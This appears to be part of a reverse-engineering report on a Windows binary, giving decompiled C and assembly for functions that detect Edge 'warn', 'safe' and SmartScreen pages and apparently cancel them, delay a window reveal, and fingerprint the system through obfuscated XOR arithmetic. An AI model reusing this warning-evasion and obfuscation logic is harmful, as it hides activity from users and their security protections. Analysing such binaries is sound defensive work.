    uVar14 = uVar7;
    do {
      lVar13 = uVar14 - 10;
      lVar12 = 0;
      while (pvVar11 = pvVar1, uVar15 = uVar7, *(short *)((longlong)pvVar10 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar13 = lVar13 + -1;
        if (lVar13 == 0) goto LAB_140009204;
      }
      if ((((((*(short *)((longlong)pvVar10 + lVar12 + 2) == 100) &&
             (*(short *)((longlong)pvVar10 + lVar12 + 4) == 0x67)) &&
            ((*(short *)((longlong)pvVar10 + lVar12 + 6) == 0x65 &&
             (((*(short *)((longlong)pvVar10 + lVar12 + 8) == 0x3a &&
               (*(short *)((longlong)pvVar10 + lVar12 + 10) == 0x2f)) &&
              (*(short *)((longlong)pvVar10 + lVar12 + 0xc) == 0x2f)))))) &&
           ((*(short *)((longlong)pvVar10 + lVar12 + 0xe) == 0x77 &&
            (*(short *)((longlong)pvVar10 + lVar12 + 0x10) == 0x61)))) &&
          (*(short *)((longlong)pvVar10 + lVar12 + 0x12) == 0x72)) &&
         (*(short *)((longlong)pvVar10 + lVar12 + 0x14) == 0x6e)) {
        if (((void *)((longlong)pvVar10 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar12)) goto LAB_1400093a1;
        break;
      }
      lVar13 = lVar8 - (longlong)pvVar10;
      pvVar10 = (void *)((longlong)pvVar10 + lVar12 + 2);
      uVar14 = (longlong)pvVar1 + (lVar13 - lVar12) >> 1;
    } while (10 < (longlong)uVar14);
LAB_140009204:
    do {
      lVar13 = uVar15 - 10;
      lVar12 = 0;
      while (pvVar10 = pvVar1, *(short *)((longlong)pvVar11 + lVar12) != 0x65) {
        lVar12 = lVar12 + 2;
        lVar13 = lVar13 + -1;
        if (lVar13 == 0) goto LAB_1400092a1;
      }
      if ((((((*(short *)((longlong)pvVar11 + lVar12 + 2) == 100) &&
             (*(short *)((longlong)pvVar11 + lVar12 + 4) == 0x67)) &&
            (*(short *)((longlong)pvVar11 + lVar12 + 6) == 0x65)) &&
           ((*(short *)((longlong)pvVar11 + lVar12 + 8) == 0x3a &&
            (*(short *)((longlong)pvVar11 + lVar12 + 10) == 0x2f)))) &&
          (*(short *)((longlong)pvVar11 + lVar12 + 0xc) == 0x2f)) &&
         (((*(short *)((longlong)pvVar11 + lVar12 + 0xe) == 0x73 &&
           (*(short *)((longlong)pvVar11 + lVar12 + 0x10) == 0x61)) &&
          ((*(short *)((longlong)pvVar11 + lVar12 + 0x12) == 0x66 &&
           (*(short *)((longlong)pvVar11 + lVar12 + 0x14) == 0x65)))))) {
        if (((void *)((longlong)pvVar11 + lVar12) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar11) != lVar12)) goto LAB_1400093a1;
        break;
      }
      uVar15 = (longlong)pvVar1 + ((lVar8 - (longlong)pvVar11) - lVar12) >> 1;
      pvVar11 = (void *)((longlong)pvVar11 + lVar12 + 2);
    } while (10 < (longlong)uVar15);
LAB_1400092a1:
    do {
      lVar12 = uVar7 - 10;
      lVar13 = 0;
      while (*(short *)((longlong)pvVar10 + lVar13) != 0x73) {
        lVar13 = lVar13 + 2;
        lVar12 = lVar12 + -1;
        if (lVar12 == 0) goto LAB_140009060;
      }
      if (((((*(short *)((longlong)pvVar10 + lVar13 + 2) == 0x6d) &&
            (*(short *)((longlong)pvVar10 + lVar13 + 4) == 0x61)) &&
           (*(short *)((longlong)pvVar10 + lVar13 + 6) == 0x72)) &&
          (((*(short *)((longlong)pvVar10 + lVar13 + 8) == 0x74 &&
            (*(short *)((longlong)pvVar10 + lVar13 + 10) == 0x73)) &&
           ((*(short *)((longlong)pvVar10 + lVar13 + 0xc) == 99 &&
            ((*(short *)((longlong)pvVar10 + lVar13 + 0xe) == 0x72 &&
             (*(short *)((longlong)pvVar10 + lVar13 + 0x10) == 0x65)))))))) &&
         ((*(short *)((longlong)pvVar10 + lVar13 + 0x12) == 0x65 &&
          (*(short *)((longlong)pvVar10 + lVar13 + 0x14) == 0x6e)))) {
        if (((void *)((longlong)pvVar10 + lVar13) != pvVar4) &&
           ((longlong)pvVar1 + (-2 - (longlong)pvVar10) != lVar13)) {
LAB_1400093a1:
          (**(code **)(*param_3 + 0x40))(param_3,1);
          bVar2 = (byte)local_50 & 1;
        }
        break;
      }
      uVar7 = (longlong)pvVar1 + ((lVar8 - (longlong)pvVar10) - lVar13) >> 1;
      pvVar10 = (void *)((longlong)pvVar10 + lVar13 + 2);
    } while (10 < (longlong)uVar7);
  }
LAB_140009060:
  if (bVar2 != 0) {
    FUN_14001f8e0(local_40);
  }
  return 0;
}

Assembly · 288 instructions, 3 annotated
AddressBytesInstructionComment
140008f6041 57PUSH R15
140008f6241 56PUSH R14
140008f6441 54PUSH R12
140008f6656PUSH RSI
140008f6757PUSH RDI
140008f6853PUSH RBX
140008f6948 83 ec 48SUB RSP,0x48
140008f6d4d 85 c0TEST R8,R8
140008f700f 84 f8 00 00 00JZ LAB_14000906e
140008f7648 c7 44 24 40 00 00 00 …MOV qword ptr [RSP + local_38],0x0
140008f7f49 8b 00MOV RAX,qword ptr [R8]
140008f8248 8d 54 24 40LEA RDX,[RSP + 0x40]
140008f874d 89 c6MOV R14,R8
140008f8a4c 89 c1MOV RCX,R8
140008f8dff 50 18CALL qword ptr [RAX + 0x18]
140008f9048 8b 74 24 40MOV RSI,qword ptr [RSP + local_38]
140008f9548 85 f6TEST RSI,RSI
140008f980f 84 d0 00 00 00JZ LAB_14000906e
140008f9e48 89 f1MOV RCX,RSI
140008fa1e8 ea 12 09 00CALL wcslen
140008fa648 89 c7MOV RDI,RAX
140008fa948 b8 f6 ff ff ff ff ff …MOV RAX,0x7ffffffffffffff6
140008fb348 39 c7CMP RDI,RAX
140008fb60f 83 20 04 00 00JNC LAB_1400093dc
140008fbc4c 8d 7c 24 2aLEA R15,[RSP + 0x2a]
140008fc148 83 ff 0bCMP RDI,0xb
140008fc573 11JNC LAB_140008fd8
140008fc78d 04 3fLEA EAX,[RDI + RDI*0x1]
140008fca88 44 24 28MOV byte ptr [RSP + local_50],AL
140008fce4c 89 fbMOV RBX,R15
140008fd148 85 ffTEST RDI,RDI
140008fd475 39JNZ LAB_14000900f
140008fd6eb 48JMP LAB_140009020
LAB_140008fd8:
140008fd848 89 f8MOV RAX,RDI
140008fdb48 83 c8 03OR RAX,0x3
140008fdf48 8d 48 01LEA RCX,[RAX + 0x1]
140008fe348 83 f8 0bCMP RAX,0xb
140008fe741 bc 0e 00 00 00MOV R12D,0xe
140008fed4c 0f 45 e1CMOVNZ R12,RCX
140008ff14b 8d 0c 24LEA RCX,[R12 + R12*0x1]
140008ff5e8 06 68 01 00CALL FUN_14001f800; FUN_14001f800: malloc
140008ffa48 89 c3MOV RBX,RAX
140008ffd48 89 44 24 38MOV qword ptr [RSP + local_40],RAX
14000900249 ff c4INC R12
1400090054c 89 64 24 28MOV qword ptr [RSP + local_50],R12
14000900a48 89 7c 24 30MOV qword ptr [RSP + local_48],RDI
LAB_14000900f:
14000900f49 89 f8MOV R8,RDI
14000901249 01 f8ADD R8,RDI
14000901548 89 d9MOV RCX,RBX
14000901848 89 f2MOV RDX,RSI
14000901be8 20 12 09 00CALL memmove
LAB_140009020:
14000902066 c7 04 7b 00 00MOV word ptr [RBX + RDI*0x2],0x0
14000902648 8b 4c 24 40MOV RCX,qword ptr [RSP + local_38]
14000902bff 15 57 92 0a 00CALL qword ptr [PTR_CoTaskMemFree_1400b2288]
1400090310f b6 44 24 28MOVZX EAX,byte ptr [RSP + local_50]
14000903689 c2MOV EDX,EAX
140009038d1 eaSHR EDX,0x1
14000903a24 01AND AL,0x1
14000903c4c 0f 45 7c 24 38CMOVNZ R15,qword ptr [RSP + local_40]
14000904248 0f 45 54 24 30CMOVNZ RDX,qword ptr [RSP + local_48]
1400090484c 8d 04 12LEA R8,[RDX + RDX*0x1]
14000904c49 8d 0c 57LEA RCX,[R15 + RDX*0x2]
14000905048 83 fa 0eCMP RDX,0xe
14000905473 28JNC LAB_14000907e
LAB_140009056:
14000905648 83 fa 0bCMP RDX,0xb
14000905a0f 83 ee 00 00 00JNC LAB_14000914e
LAB_140009060:
14000906084 c0TEST AL,AL
14000906274 0aJZ LAB_14000906e
14000906448 8b 4c 24 38MOV RCX,qword ptr [RSP + local_40]
140009069e8 72 68 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000906e:
14000906e31 c0XOR EAX,EAX
14000907048 83 c4 48ADD RSP,0x48
1400090745bPOP RBX
1400090755fPOP RDI
1400090765ePOP RSI
14000907741 5cPOP R12
14000907941 5ePOP R14
14000907b41 5fPOP R15
14000907dc3RET
LAB_14000907e:
14000907e4f 8d 0c 07LEA R9,[R15 + R8*0x1]
14000908249 83 c1 feADD R9,-0x2
14000908648 89 d6MOV RSI,RDX
1400090894d 89 faMOV R10,R15
LAB_14000908c:
14000908c48 83 c6 f3ADD RSI,-0xd
14000909045 31 dbXOR R11D,R11D
14000909366 66 66 66 2e 0f 1f 84 …NOP dword ptr CS:[RAX + RAX*0x1]
LAB_1400090a0:
1400090a066 43 83 3c 1a 65CMP word ptr [R10 + R11*0x1],0x65
1400090a674 0bJZ LAB_1400090b3
1400090a849 83 c3 02ADD R11,0x2
1400090ac48 ff ceDEC RSI
1400090af75 efJNZ LAB_1400090a0
1400090b1eb a3JMP LAB_140009056
LAB_1400090b3:
1400090b366 43 83 7c 1a 02 64CMP word ptr [R10 + R11*0x1 + 0x2],0x64
1400090ba75 70JNZ LAB_14000912c
1400090bc66 43 83 7c 1a 04 67CMP word ptr [R10 + R11*0x1 + 0x4],0x67
1400090c375 67JNZ LAB_14000912c
1400090c566 43 83 7c 1a 06 65CMP word ptr [R10 + R11*0x1 + 0x6],0x65
1400090cc75 5eJNZ LAB_14000912c
1400090ce66 43 83 7c 1a 08 3aCMP word ptr [R10 + R11*0x1 + 0x8],0x3a
1400090d575 55JNZ LAB_14000912c
1400090d766 43 83 7c 1a 0a 2fCMP word ptr [R10 + R11*0x1 + 0xa],0x2f
1400090de75 4cJNZ LAB_14000912c
1400090e066 43 83 7c 1a 0c 2fCMP word ptr [R10 + R11*0x1 + 0xc],0x2f
1400090e775 43JNZ LAB_14000912c
1400090e966 43 83 7c 1a 0e 62CMP word ptr [R10 + R11*0x1 + 0xe],0x62
1400090f075 3aJNZ LAB_14000912c
1400090f266 43 83 7c 1a 10 6cCMP word ptr [R10 + R11*0x1 + 0x10],0x6c
1400090f975 31JNZ LAB_14000912c
1400090fb66 43 83 7c 1a 12 6fCMP word ptr [R10 + R11*0x1 + 0x12],0x6f
14000910275 28JNZ LAB_14000912c
14000910466 43 83 7c 1a 14 63CMP word ptr [R10 + R11*0x1 + 0x14],0x63
14000910b75 1fJNZ LAB_14000912c
14000910d66 43 83 7c 1a 16 6bCMP word ptr [R10 + R11*0x1 + 0x16],0x6b
14000911475 16JNZ LAB_14000912c
14000911666 43 83 7c 1a 18 65CMP word ptr [R10 + R11*0x1 + 0x18],0x65
14000911d75 0dJNZ LAB_14000912c
14000911f66 43 83 7c 1a 1a 64CMP word ptr [R10 + R11*0x1 + 0x1a],0x64
1400091260f 84 8f 02 00 00JZ LAB_1400093bb
LAB_14000912c:
14000912c4c 89 ceMOV RSI,R9
14000912f4c 29 d6SUB RSI,R10
1400091324d 01 daADD R10,R11
14000913549 83 c2 02ADD R10,0x2
1400091394c 29 deSUB RSI,R11
14000913c48 d1 feSAR RSI,0x1
14000913f48 83 fe 0dCMP RSI,0xd
1400091430f 8f 43 ff ff ffJG LAB_14000908c
140009149e9 08 ff ff ffJMP LAB_140009056
LAB_14000914e:
14000914e4d 01 f8ADD R8,R15
14000915149 83 c0 feADD R8,-0x2
14000915549 89 d3MOV R11,RDX
1400091584d 89 f9MOV R9,R15
LAB_14000915b:
14000915b49 83 c3 f6ADD R11,-0xa
14000915f45 31 d2XOR R10D,R10D
14000916266 66 66 66 66 2e 0f 1f …NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009170:
14000917066 43 83 3c 11 65CMP word ptr [R9 + R10*0x1],0x65
14000917674 0bJZ LAB_140009183
14000917849 83 c2 02ADD R10,0x2
14000917c49 ff cbDEC R11
14000917f75 efJNZ LAB_140009170
140009181eb 7bJMP LAB_1400091fe
LAB_140009183:
14000918366 43 83 7c 11 02 64CMP word ptr [R9 + R10*0x1 + 0x2],0x64
14000918a75 55JNZ LAB_1400091e1
14000918c66 43 83 7c 11 04 67CMP word ptr [R9 + R10*0x1 + 0x4],0x67
14000919375 4cJNZ LAB_1400091e1
14000919566 43 83 7c 11 06 65CMP word ptr [R9 + R10*0x1 + 0x6],0x65
14000919c75 43JNZ LAB_1400091e1
14000919e66 43 83 7c 11 08 3aCMP word ptr [R9 + R10*0x1 + 0x8],0x3a
1400091a575 3aJNZ LAB_1400091e1
1400091a766 43 83 7c 11 0a 2fCMP word ptr [R9 + R10*0x1 + 0xa],0x2f
1400091ae75 31JNZ LAB_1400091e1
1400091b066 43 83 7c 11 0c 2fCMP word ptr [R9 + R10*0x1 + 0xc],0x2f
1400091b775 28JNZ LAB_1400091e1
1400091b966 43 83 7c 11 0e 77CMP word ptr [R9 + R10*0x1 + 0xe],0x77
1400091c075 1fJNZ LAB_1400091e1
1400091c266 43 83 7c 11 10 61CMP word ptr [R9 + R10*0x1 + 0x10],0x61
1400091c975 16JNZ LAB_1400091e1
1400091cb66 43 83 7c 11 12 72CMP word ptr [R9 + R10*0x1 + 0x12],0x72
1400091d275 0dJNZ LAB_1400091e1
1400091d466 43 83 7c 11 14 6eCMP word ptr [R9 + R10*0x1 + 0x14],0x6e
1400091db0f 84 61 01 00 00JZ LAB_140009342
LAB_1400091e1:
1400091e14d 89 c3MOV R11,R8
1400091e44d 29 cbSUB R11,R9
1400091e74d 01 d1ADD R9,R10
1400091ea49 83 c1 02ADD R9,0x2
1400091ee4d 29 d3SUB R11,R10
1400091f149 d1 fbSAR R11,0x1
1400091f449 83 fb 0aCMP R11,0xa
1400091f80f 8f 5d ff ff ffJG LAB_14000915b
LAB_1400091fe:
1400091fe49 89 d3MOV R11,RDX
1400092014d 89 f9MOV R9,R15
LAB_140009204:
14000920449 83 c3 f6ADD R11,-0xa
14000920845 31 d2XOR R10D,R10D
14000920b0f 1f 44 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_140009210:
14000921066 43 83 3c 11 65CMP word ptr [R9 + R10*0x1],0x65
14000921674 0bJZ LAB_140009223
14000921849 83 c2 02ADD R10,0x2
14000921c49 ff cbDEC R11
14000921f75 efJNZ LAB_140009210
140009221eb 7bJMP LAB_14000929e
LAB_140009223:
14000922366 43 83 7c 11 02 64CMP word ptr [R9 + R10*0x1 + 0x2],0x64
14000922a75 55JNZ LAB_140009281
14000922c66 43 83 7c 11 04 67CMP word ptr [R9 + R10*0x1 + 0x4],0x67
14000923375 4cJNZ LAB_140009281
14000923566 43 83 7c 11 06 65CMP word ptr [R9 + R10*0x1 + 0x6],0x65
14000923c75 43JNZ LAB_140009281
14000923e66 43 83 7c 11 08 3aCMP word ptr [R9 + R10*0x1 + 0x8],0x3a
14000924575 3aJNZ LAB_140009281
14000924766 43 83 7c 11 0a 2fCMP word ptr [R9 + R10*0x1 + 0xa],0x2f
14000924e75 31JNZ LAB_140009281
14000925066 43 83 7c 11 0c 2fCMP word ptr [R9 + R10*0x1 + 0xc],0x2f
14000925775 28JNZ LAB_140009281
14000925966 43 83 7c 11 0e 73CMP word ptr [R9 + R10*0x1 + 0xe],0x73
14000926075 1fJNZ LAB_140009281
14000926266 43 83 7c 11 10 61CMP word ptr [R9 + R10*0x1 + 0x10],0x61
14000926975 16JNZ LAB_140009281
14000926b66 43 83 7c 11 12 66CMP word ptr [R9 + R10*0x1 + 0x12],0x66
14000927275 0dJNZ LAB_140009281
14000927466 43 83 7c 11 14 65CMP word ptr [R9 + R10*0x1 + 0x14],0x65
14000927b0f 84 e2 00 00 00JZ LAB_140009363
LAB_140009281:
1400092814d 89 c3MOV R11,R8
1400092844d 29 cbSUB R11,R9
1400092874d 01 d1ADD R9,R10
14000928a49 83 c1 02ADD R9,0x2
14000928e4d 29 d3SUB R11,R10
14000929149 d1 fbSAR R11,0x1
14000929449 83 fb 0aCMP R11,0xa
1400092980f 8f 66 ff ff ffJG LAB_140009204
LAB_14000929e:
14000929e4d 89 f9MOV R9,R15
LAB_1400092a1:
1400092a148 83 c2 f6ADD RDX,-0xa
1400092a545 31 d2XOR R10D,R10D
1400092a80f 1f 84 00 00 00 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_1400092b0:
1400092b066 43 83 3c 11 73CMP word ptr [R9 + R10*0x1],0x73
1400092b674 0eJZ LAB_1400092c6
1400092b849 83 c2 02ADD R10,0x2
1400092bc48 ff caDEC RDX
1400092bf75 efJNZ LAB_1400092b0
1400092c1e9 9a fd ff ffJMP LAB_140009060
LAB_1400092c6:
1400092c666 43 83 7c 11 02 6dCMP word ptr [R9 + R10*0x1 + 0x2],0x6d
1400092cd75 51JNZ LAB_140009320
1400092cf66 43 83 7c 11 04 61CMP word ptr [R9 + R10*0x1 + 0x4],0x61
1400092d675 48JNZ LAB_140009320
1400092d866 43 83 7c 11 06 72CMP word ptr [R9 + R10*0x1 + 0x6],0x72
1400092df75 3fJNZ LAB_140009320
1400092e166 43 83 7c 11 08 74CMP word ptr [R9 + R10*0x1 + 0x8],0x74
1400092e875 36JNZ LAB_140009320
1400092ea66 43 83 7c 11 0a 73CMP word ptr [R9 + R10*0x1 + 0xa],0x73
1400092f175 2dJNZ LAB_140009320
1400092f366 43 83 7c 11 0c 63CMP word ptr [R9 + R10*0x1 + 0xc],0x63
1400092fa75 24JNZ LAB_140009320
1400092fc66 43 83 7c 11 0e 72CMP word ptr [R9 + R10*0x1 + 0xe],0x72
14000930375 1bJNZ LAB_140009320
14000930566 43 83 7c 11 10 65CMP word ptr [R9 + R10*0x1 + 0x10],0x65
14000930c75 12JNZ LAB_140009320
14000930e66 43 83 7c 11 12 65CMP word ptr [R9 + R10*0x1 + 0x12],0x65
14000931575 09JNZ LAB_140009320
14000931766 43 83 7c 11 14 6eCMP word ptr [R9 + R10*0x1 + 0x14],0x6e
14000931e74 64JZ LAB_140009384
LAB_140009320:
1400093204c 89 c2MOV RDX,R8
1400093234c 29 caSUB RDX,R9
1400093264d 01 d1ADD R9,R10
14000932949 83 c1 02ADD R9,0x2
14000932d4c 29 d2SUB RDX,R10
14000933048 d1 faSAR RDX,0x1
14000933348 83 fa 0bCMP RDX,0xb
1400093370f 8d 64 ff ff ffJGE LAB_1400092a1
14000933de9 1e fd ff ffJMP LAB_140009060
LAB_140009342:
1400093424f 8d 1c 11LEA R11,[R9 + R10*0x1]
14000934649 39 cbCMP R11,RCX
1400093490f 84 af fe ff ffJZ LAB_1400091fe
14000934f4d 89 fbMOV R11,R15
1400093524d 29 cbSUB R11,R9
14000935549 83 c3 feADD R11,-0x2
1400093594d 39 d3CMP R11,R10
14000935c75 43JNZ LAB_1400093a1
14000935ee9 9b fe ff ffJMP LAB_1400091fe
LAB_140009363:
1400093634f 8d 1c 11LEA R11,[R9 + R10*0x1]
14000936749 39 cbCMP R11,RCX
14000936a0f 84 2e ff ff ffJZ LAB_14000929e
1400093704d 89 fbMOV R11,R15
1400093734d 29 cbSUB R11,R9
14000937649 83 c3 feADD R11,-0x2
14000937a4d 39 d3CMP R11,R10
14000937d75 22JNZ LAB_1400093a1
14000937fe9 1a ff ff ffJMP LAB_14000929e
LAB_140009384:
1400093844b 8d 14 11LEA RDX,[R9 + R10*0x1]
14000938848 39 caCMP RDX,RCX
14000938b0f 84 cf fc ff ffJZ LAB_140009060
1400093914d 29 cfSUB R15,R9
14000939449 83 c7 feADD R15,-0x2
1400093984d 39 d7CMP R15,R10
14000939b0f 84 bf fc ff ffJZ LAB_140009060
LAB_1400093a1:
1400093a14c 89 f1MOV RCX,R14
1400093a449 8b 06MOV RAX,qword ptr [R14]
1400093a7ba 01 00 00 00MOV EDX,0x1
1400093acff 50 40CALL qword ptr [RAX + 0x40]
1400093af0f b6 44 24 28MOVZX EAX,byte ptr [RSP + local_50]
1400093b424 01AND AL,0x1
1400093b6e9 a5 fc ff ffJMP LAB_140009060
LAB_1400093bb:
1400093bb4f 8d 0c 1aLEA R9,[R10 + R11*0x1]
1400093bf49 39 c9CMP R9,RCX
1400093c20f 84 8e fc ff ffJZ LAB_140009056
1400093c84d 89 f9MOV R9,R15
1400093cb4d 29 d1SUB R9,R10
1400093ce49 83 c1 feADD R9,-0x2
1400093d24d 39 d9CMP R9,R11
1400093d575 caJNZ LAB_1400093a1
1400093d7e9 7a fc ff ffJMP LAB_140009056
LAB_1400093dc:
1400093dce8 0f b6 ff ffCALL FUN_1400049f0; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx

timer_setup

0x14000948058 bytes
undefined8 timer_setup(void)

Sets up Windows timer for delayed window reveal

Cited as
E11
Behaviours
B7
Called from
none found
Calls
SetTimer
Decompiled C · 11 lines
undefined8 timer_setup(void)

{
  if (DAT_1400c9478 == '\0') {
    DAT_1400c9478 = '\x01';
    SetTimer(DAT_1400c9450,9999,0x5dc,timer_reveal);
  }
  return 0;
}

Assembly · 12 instructions, 1 annotated
AddressBytesInstructionComment
14000948048 83 ec 28SUB RSP,0x28
14000948480 3d ed ff 0b 00 00CMP byte ptr [DAT_1400c9478],0x0
14000948b75 26JNZ LAB_1400094b3
14000948dc6 05 e4 ff 0b 00 01MOV byte ptr [DAT_1400c9478],0x1
14000949448 8b 0d b5 ff 0b 00MOV RCX,qword ptr [DAT_1400c9450]
14000949b4c 8d 0d be b4 ff ffLEA R9,[timer_reveal]; → timer_reveal (B7, E12)
1400094a2ba 0f 27 00 00MOV EDX,0x270f
1400094a741 b8 dc 05 00 00MOV R8D,0x5dc
1400094adff 15 fd 8e 0a 00CALL qword ptr [PTR_SetTimer_1400b23b0]
LAB_1400094b3:
1400094b331 c0XOR EAX,EAX
1400094b548 83 c4 28ADD RSP,0x28
1400094b9c3RET

system_fingerprint

0x1400094c02313 bytes
uint system_fingerprint(void)

Collects system identity data using XOR constants 0xfd6c0c64 and 0x9c0fc46e

Cited as
E7
Behaviours
B6
Called from
none found
Calls
GetCurrentProcessId GetLocalTime GetLocaleInfoA GetSystemInfo GetTickCount strlen
Decompiled C · 154 lines
uint system_fingerprint(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  DWORD DVar4;
  DWORD DVar5;
  uint uVar6;
  uint uVar7;
  uint uVar8;
  uint uVar9;
  uint uVar10;
  uint uVar11;
  uint uVar12;
  size_t sVar13;
  uint local_98;
  int local_94;
  _SYSTEMTIME local_8c;
  int local_7c;
  _union_552 local_78;
  int local_74;
  char local_48 [64];
  
  GetLocalTime(&local_8c);
  GetLocaleInfoA(0x400,0x59,local_48,0x40);
  sVar13 = strlen(local_48);
  GetSystemInfo((LPSYSTEM_INFO)&local_78.s);
  DVar4 = GetCurrentProcessId();
  DVar5 = GetTickCount();
  uVar1 = (uint)local_8c.wMilliseconds + (int)sVar13 + local_74 + DVar4 + DVar5;
  local_8c._0_4_ = uVar1 ^ 0xfd6c0c64;
  uVar6 = DAT_1400c9008 & (uVar1 ^ 0x2f77d26c);
  local_98 = 0;
  do {
    local_8c._0_4_ = (uint)local_8c._0_4_ >> 1 ^ 0x9c0fc46e;
    local_98 = local_98 + 1;
  } while ((int)local_98 < 4);
  uVar7 = local_8c._0_4_ | DAT_1400c900c;
  uVar12 = uVar1 ^ uVar7 + DAT_1400c9010;
  if ((uVar12 ^ 0xde87613d) < (uVar12 ^ 0x9ef5e906)) {
    uVar8 = uVar12 ^ 0xe5913f9e;
  }
  else {
    uVar8 = (uVar12 ^ 0x9ef5e906) & 0xeedc03de;
  }
  uVar12 = uVar12 ^ ((uVar8 & DAT_1400c9010) + 0x91e8c5c9 | 0x94f85be8);
  uVar2 = uVar12 ^ ((uVar12 ^ 0x64e3fa75) & 0x745222d2) + 0x61c4b5bb;
  uVar9 = uVar2 ^ 0x749ccb4c;
  uVar10 = uVar6 - (uVar12 ^ 0xbdf14630) & uVar9;
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 2);
  uVar2 = uVar2 ^ uVar9;
  uVar9 = uVar2 ^ 0x4d26f18f;
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 6);
  local_94 = 0;
  do {
    local_94 = local_94 + 1;
  } while (local_94 < 4);
  uVar2 = uVar2 ^ uVar9;
  local_78.dwOemId = uVar2 ^ 0x8ead0ae2;
  if ((local_78.dwOemId & 0x31d38002) != 0) {
    local_78.dwOemId = (uVar2 ^ 0x28b1af24) & 0x1bee56a6;
  }
  uVar11 = (DAT_1400c9018 | uVar12 ^ 0xbdf14630) ^ local_78.dwOemId;
  uVar3 = uVar2 ^ (uVar2 ^ 0x574827b9) - uVar11;
  DAT_1400c901c =
       (DAT_1400c901c ^ ((uVar2 ^ 0x58dba1fe) & 0x7781969f) + 0xa4e384d2 | local_78.dwOemId) +
       (uVar2 ^ 0x574827b9) ^ uVar3 ^ 0x40fd22c6;
  uVar12 = (uVar3 ^ 0x9cff181b) + 0x10ca9ec3;
  local_8c._0_4_ = (uVar3 ^ 0x40fd22c6) + uVar11 | uVar10;
  if ((uVar12 & 0xbdcfdaea) != 0) {
    local_8c._0_4_ = local_8c._0_4_ + 0xdce13f36 & 0x63d598cd;
  }
  if ((local_8c._0_4_ ^ uVar10) < uVar12) {
    uVar12 = local_8c._0_4_ ^ uVar10 ^ 0x299fc2dc;
  }
  else {
    uVar12 = uVar12 & 0x8d4566a2;
  }
  local_98 = 0;
  do {
    local_98 = local_98 + 1;
  } while ((int)local_98 < 2);
  uVar3 = uVar3 ^ uVar12;
  local_78.dwOemId = uVar3 ^ 0x53129690;
  local_7c = 0;
  do {
    local_78.dwOemId = local_78.dwOemId >> 1 ^ 0x2c7e8985;
    local_7c = local_7c + 1;
  } while (local_7c < 3);
  DAT_1400c9008 = uVar10 ^ local_78.dwOemId;
  local_7c = 0;
  do {
    local_7c = local_7c + 1;
  } while (local_7c < 3);
  uVar3 = uVar3 ^ uVar3 ^ 0x36029e60;
  local_78.dwOemId = uVar3 ^ 0x9cc2e046;
  local_8c._0_4_ = uVar3 ^ 0x2cba73f9;
  if ((local_78.dwOemId & 0x8b83ffe0) != 0) {
    local_8c._0_4_ = (uVar3 ^ 0xf0979b74) + 0x37b895e6;
  }
  if ((local_78.dwOemId & 0x79475e16) != 0) {
    local_8c._0_4_ = local_8c._0_4_ + 0x30350fe5 | 0xa1fef5e9;
  }
  if ((local_8c._0_4_ & 0x460fcd60) != 0) {
    local_78.dwOemId = local_78.dwOemId + 0xd680fd8a | 0x3469cafd;
  }
  local_78.dwOemId = local_78.dwOemId | DAT_1400c9008;
  DAT_1400c9018 = uVar11 + local_8c._0_4_;
  local_98 = 0;
  do {
    local_98 = local_98 + 1;
  } while ((int)local_98 < 2);
  local_98 = 0;
  do {
    local_78.dwOemId = local_78.dwOemId >> 1 ^ 0x9e38fa03;
    local_98 = local_98 + 1;
  } while ((int)local_98 < 6);
  uVar3 = uVar3 ^ local_78.dwOemId;
  local_78.dwOemId = uVar3 ^ 0x1be9209f;
  local_98 = uVar3 ^ 0x53eed28b;
  if ((local_78.dwOemId & 0x305cb55f) != 0) {
    local_78.dwOemId = (uVar3 ^ 0x79ffd8a6) + 0xa2deb0e4;
  }
  uVar12 = (uVar3 ^ 0x1085b06a | 0x8263f3b1) & 0x9087297;
  if (uVar12 < (uint)local_78) {
    uVar12 = uVar12 ^ 0xb399de72;
  }
  else {
    uVar12 = local_78.dwOemId & 0x4c10da9c;
  }
  DAT_1400c900c = (DAT_1400c900c - uVar7) + local_98;
  local_94 = 0;
  do {
    local_98 = local_98 >> 1 ^ 0x882d088a;
    local_94 = local_94 + 1;
  } while (local_94 < 4);
  DAT_1400c9014 = (DAT_1400c9014 | uVar1 ^ 0x2f77d26c | uVar6 | uVar8) + local_98;
  local_94 = 0;
  do {
    local_98 = local_98 >> 1 ^ 0x4b876c7b;
    local_94 = local_94 + 1;
  } while (local_94 < 3);
  DAT_1400c9010 = DAT_1400c9010 - uVar9 ^ local_98;
  return uVar3 ^ uVar12;
}

Assembly · 496 instructions, 0 annotated
AddressBytesInstructionComment
1400094c056PUSH RSI
1400094c148 81 ec b0 00 00 00SUB RSP,0xb0
1400094c8c7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_98],0x0
1400094d048 8d 4c 24 2cLEA RCX,[RSP + 0x2c]
1400094d5ff 15 c5 93 0a 00CALL qword ptr [PTR_GetLocalTime_1400b28a0]
1400094db0f b7 44 24 3aMOVZX EAX,word ptr [RSP + local_7e]
1400094e001 44 24 20ADD dword ptr [RSP + local_98],EAX
1400094e448 8d 74 24 70LEA RSI,[RSP + 0x70]
1400094e9b9 00 04 00 00MOV ECX,0x400
1400094eeba 59 00 00 00MOV EDX,0x59
1400094f349 89 f0MOV R8,RSI
1400094f641 b9 40 00 00 00MOV R9D,0x40
1400094fcff 15 a6 93 0a 00CALL qword ptr [PTR_GetLocaleInfoA_1400b28a8]
14000950248 89 f1MOV RCX,RSI
140009505e8 56 0d 09 00CALL strlen
14000950a01 44 24 20ADD dword ptr [RSP + local_98],EAX
14000950e48 8d 4c 24 40LEA RCX,[RSP + 0x40]
140009513ff 15 b7 93 0a 00CALL qword ptr [PTR_GetSystemInfo_1400b28d0]
1400095198b 44 24 44MOV EAX,dword ptr [RSP + local_74]
14000951d01 44 24 20ADD dword ptr [RSP + local_98],EAX
140009521ff 15 31 93 0a 00CALL qword ptr [PTR_GetCurrentProcessId_1400b2858]
